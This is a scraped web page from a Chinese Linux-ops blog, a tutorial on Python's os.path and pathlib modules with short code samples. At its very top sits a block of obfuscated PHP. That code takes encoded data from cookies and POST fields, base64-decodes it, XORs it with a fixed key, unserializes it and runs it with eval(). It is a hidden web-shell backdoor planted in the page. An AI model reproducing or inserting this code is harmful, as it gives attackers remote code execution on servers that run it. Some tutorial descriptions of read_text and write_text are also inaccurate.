$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 路径操作 | Linux运维部落

路径操作

路径操作模块

3.4版本之前

  • os.path模块
    from os import path
    
    p = path.join('/etc', 'sysconfig', 'network')
    print(type(p), p)
    print(path.exists(p))
    print(path.split(p))
    print(path.abspath('.'))
    
    p = path.join('d:/', p, 'test.txt')
    path.dirname(p)
    path.basename(p)
    path.splitdrive(p)
    

    59f062dedc3a236e99000002


3.4版本之后

建议使用pathlib模块,提供Path对象来操作。包括目录和文件


pathlib模块

  • from pathlib import Path

目录操作

初始化

p = Path()
p = Path('a', 'b', 'c/d')

59f073e3dc3a236e99000004


路径拼接和分解

  • 操作符
    Path对象 / Path对象
    Path对象 / 字符串 或者 字符串 / Path对象
    
  • 分解
    • parts属性,可以返回路径中的每一个部分
    • joinpath(*other)
    • 连接多个字符串到Path对象中joinpath

    59f074c3dc3a236e99000005


获取路径

  • str   获取路径字符串
  • bytes   获取路径字符串的bytes

    59f0754cdc3a236e99000006


父目录

  • parent   目录的逻辑父目录
  • parents   父目录序列,索引父,其他是爷爷辈

    59f07618dc3a236e99000007


name、stem、suffix、suffixes、with_suffix(suffix)、with_name(name)

  • name   目录的最后一个部分
  • suffix   目录中最后一个部分的扩展名(后缀)
  • stem   目录最后一个部分,没有后缀
  • suffixes   返回多个扩展名列表
  • with_suffix(suffix)   补充扩展名到路径尾部,返回新的路径,扩展名存在则无效
    • p.with_suffix(‘.txt’),txt前必须有点,否则会报错
  • with_name(name)   替换目录最后一个部分,并返回一个新的路径

    59f079a7dc3a236e99000008


其他操作

  • cwd()
    • 返回当前工作目录
  • home()
    • 返回当前家目录
  • is_dir()
    • 是否是目录
  • is_file()
    • 是否是文件
  • is_symlink()
    • 是否是软链接
  • is_socket()
    • 是否是socket文件
  • is_block_device()
    • 是否是块设备
  • is_char_device()
    • 是否是字符设备
  • is_absolute()
    • 是否是绝对路径
  • resolve()
    • 返回一个新的路径,这个新路径就是当前Path对象的绝对路径,如果是软链接则直接被解析
  • absolute()
    • 也获取绝对路径,但是推荐使用resolve()
  • exists()
    • 目录或文件是否存在
  • rmdir()
    • 删除空目录,几乎不用
  • touch(mode=0o666, exist_ok=True)
    • 创建一个文件
  • as_uri()
    • 将路径返回成URI,例如'file:///etc/passwd'
  • mkdir(mode=0o777, parents=False, exist_ok=False)
    • parents,是否创建父目录
      • True,等同于mkdir -p
      • False,父目录不存在,则抛出FileNotFoundError
    • exist_ok
      • 在3.5版本加入
      • False,路径存在,抛出FileExistsError
      • True,FileExistsError被忽略
    • 迭代当前目录iterdir()

    59f07fe1dc3a236e99000009

    • p /= 'a/b/c/d'等价于p = p / 'a/b/c/d'

    59f07ff8dc3a236e9900000a

    59f080eddc3a236e9900000b

    • 遍历,并判断文件类型,如果是目录,判断其是否为空
      for x in p.parents[len(p.parents)-1].iterdir():
          print(x,end='\t')
          if x.is_dir():
              flag = False
              for _ in x.iterdir():
                  flag = True
                  break
              print('dir','Not Empty' if flag else 'Empty',sep='\t')
          elif x.is_file():
              print('file')
          else:
              print('other file')
      

      59f084e5dc3a236e9900000c


通配符

  • glob(pattern)   通配给定的模式
  • rglob(pattern)   通配给定的模式,递归目录
    p = Path('d:/test')p.glob('p*')    # 生成器list(p.glob('p*'))  # 返回当前目录对象下的p开头的文件list(p.glob('*/p*'))  # 返回当前目录的下一级目录对象下的p开头的文件list(p.glob('**/p*'))# 递归所有目录,等同rgloblist(p.rglob('*p'))

    59f13db8c67d161fb6000000

    • 返回当前目录的下一级目录对象下的p开头的文件
      59f13fcbc67d161fb6000001

匹配

  • match(pattern)
  • 模式匹配,成功返回True
    59f141aac67d161fb6000002

文件操作

  • Path.open(self, mode=’r’, buffering=-1, encoding=None, errors=None, newline=None)
    • 使用方法类似内建函数open,返回一个文件对象
    • read_bytes()
      • rb读取路径对应文件,返回二进制流
    • read_text(encoding=None, errors=None)
      • rb读取路径对应文件,返回二进制流
    • Path.write_bytes(data)
      • wb方式写入数据到路径对应文件
    • write_text(data, encoding=None, errors=None)
      • wb方式写入数据到路径对应文件
    • 上面的可以看源码理解,有时候比看帮助文件简单3.5新增加的函数

    59f1452ac67d161fb6000003

    from pathlib import Path
    
    p = Path('d:/test.py')
    p.write_text('hello everyone')
    print(p.read_text())
    with p.open() as f:
        print(f.read(5))
    

    59f1462ec67d161fb6000004

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/88093

(0)
上一篇 2017-10-27 09:45
下一篇 2017-10-29 11:20

相关推荐

  • 系统管理中的三大利刃(htop glances dstat)

    工欲善事情,必先利其器,生产环境中的服务器在处理请求并生成回应数据的时间主要消耗在服务器端,包括了众多的环节,如何全面了解我们linux服务器的CPU使用率、使用时间、内存占用比例、磁盘IO数据、网络相关数据等等众多指标,保证我们的linux服务器顺利完成每一个请求,怎能没有几个趁手的利刃,而今天就让我们见识一下系统管理中三大利刃。 相传一把三尺长的软剑,叫…

    Linux干货 2015-11-18
  • pxe自动安装linux

    配置自动安装操作系统 1.网卡应支持pxe技术,由网卡作为dhcp的客户端向dhcp服务器请求一个IP地址,dhcp会将ip,网关等信息和的tftp服务器的地址应加载的文件名提供给客户端 2.根据dhcp服务器提供的信息网卡上内置的tftp客户端向tftp服务器发出请求,将文件下载至内存,包括bootloader(可能有选单),initrd,内核等(内核和i…

    Linux干货 2016-11-11
  • N26-第四周作业-邢岩

    马哥门徒-N26-邢岩   精神练习需要深入认真的工作以及热情的劲头。当你开始练习,你是在挣扎、在反抗,你需要集中精力,然后慢慢进步。那么,我们就开始吧。   第一题,复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。   ~]# cp -r /et…

    Linux干货 2017-02-15
  • 高可用集群部署文档

    同学们都很活跃,自己好久没写了,也动动笔,下面文章写着玩的,如有错误请联系(NET7-粤-义薄云天) 高可用集群部署文档   目录: 目录: 1 项目需求: 2 实现方式: 2 拓扑图: 3 系统及软件版本: 3 安装步骤: 4 IP分配: 4 LVS和keepalived的安装和配置: 4 LVS主配置: 4 LVS2备 配置: 7 w…

    Linux干货 2015-08-11
  • 优云软件数据专家最佳实践:数据挖掘与运维分析

    这份研究报告,作者是优云软件数据专家陈是维,在耗时1年时间制作的一份最佳实践,今天和大家分享下,关于《数据采矿和运维分析》,共同探讨~ 数据挖掘(Data Mining)是从大量数据中提取或“挖掘”知识。 广义数据挖掘:数据挖掘是从存放在数据库、数据仓库或其它信息库中的大量数据挖掘有趣知识的过程。 数据挖掘技术侧重:1)概率与数理统计 2)数据库技术 3)人…

    大数据运维 2016-07-16
  • 深入理解java异常处理机制

     1. 引子        try…catch…finally恐怕是大家再熟悉不过的语句了,而且感觉用起来也是很简单,逻辑上似乎也是很容易理解。不过,我亲自体验的“教训”告诉我,这个东西可不是想象中的那么简单、听话。不信?那你看看下面的代码,“猜猜”它执行后的结果会是什么?不要往后看答案、也不许执行代码看真正…

    Linux干货 2015-04-12